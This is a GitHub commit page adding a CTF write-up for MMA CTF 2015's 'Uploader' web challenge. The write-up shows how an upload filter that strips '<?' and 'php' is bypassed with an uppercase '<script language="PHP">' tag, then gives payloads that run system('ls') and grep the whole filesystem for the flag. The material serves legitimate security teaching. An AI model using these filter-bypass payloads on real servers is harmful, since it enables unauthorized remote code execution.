Skip to content

Commit d1102ee

Browse files
committed
Added writeup for uploader of mma-ctf-2015
1 parent 39d8b32 commit d1102ee

File tree

1 file changed

+64
-0
lines changed

1 file changed

+64
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
[](ctf=mma-ctf-2015)
2+
[](type=web)
3+
[](tags=php,lfi,rce)
4+
[](tools=)
5+
[](techniques=)
6+
7+
# Uploader (web-100)
8+
9+
Website says 'You can upload any file!', and really lets us. But when uploading text files, it removes any '<?' or 'php' as mentioned in the problem. Obviously, this question is based on LFI+Remote Code Execution, we need to get our php running there somehow. First I tried uploading various variations of php hello world, like:
10+
11+
```php
12+
<?php echo 'Hello world!';
13+
```
14+
```php
15+
<? echo 'Hello world!';
16+
```
17+
```shell
18+
#!/usr/bin/php -r
19+
echo 'Hello world!';
20+
```
21+
Nothing seemed to work. Since '<?'s are being removed, I tried:
22+
```php
23+
<<?? echo 'Hello world!';
24+
```
25+
Still, no use.
26+
27+
Is it possible to run without <? tags?
28+
29+
After googling, we see from php manual page that, we can use these tags instead:
30+
```php
31+
<script language="php"> echo('Hello world!'); </script>
32+
```
33+
But after uploading, the word 'php' is removed, resulting in
34+
```php
35+
<script language=""> echo('Hello world!'); </script>
36+
```
37+
I was out of ideas. But after a long time, I realized that question only talks about removing 'php', but does it remove 'PHP' (uppercase) ? Let's find out:
38+
```php
39+
<script language="PHP"> echo('Hello world!'); </script>
40+
```
41+
Success! We got our php
42+
running, now we just have to look for the flag.
43+
44+
First, let me check a few variables
45+
```php
46+
<script language="PHP">
47+
echo $flag;
48+
print_r(get_defined_vars());
49+
print_r(get_defined_constants());
50+
</script>
51+
```
52+
Nope, nothing here. Let's look at some files:
53+
```php
54+
<script language="PHP">
55+
system("ls");
56+
</script>
57+
```
58+
Nothing useful here, let's do a full system search:
59+
```php
60+
<script language="PHP"> echo system("egrep -rnis 'MMA{' /"); </script>
61+
```
62+
Aaand we get our flag:
63+
64+
> MMA{you can run php from script tag}

0 commit comments

Comments
 (0)